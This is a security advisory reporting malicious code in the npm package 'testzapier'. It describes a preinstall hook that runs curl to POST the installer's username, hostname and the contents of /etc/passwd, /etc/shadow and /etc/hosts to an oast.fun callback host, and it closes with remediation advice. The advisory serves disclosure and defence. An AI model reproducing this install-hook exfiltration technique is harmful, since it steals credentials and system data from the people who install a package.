MAL-2026-5575 Malicious code in testzapier (npm)

package.json declares a preinstall hook (node index.js) that fires automatically on npm install. index.js spawns a shell that runs curl -X POST against http://kpfdtycruuyszysbsjtoj9al6djfqrtve.oast.fun/noderedactedsdk/$(whoami)/$(hostname)/, embedding the installer's username and hostname in the URL path. The User-Agent header carries a base64-encoded blob containing the contents of /etc/passwd, /etc/hosts, /etc/shadow (when readable as root), and the output of id. The destination is an interactsh/oast.fun OOB-callback subdomain, plain HTTP, with no relationship to any documented package purpose. Installer harm is direct and unconditional: any machine running npm install testzapier leaks host identity and local-account/secret-file contents to the attacker.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.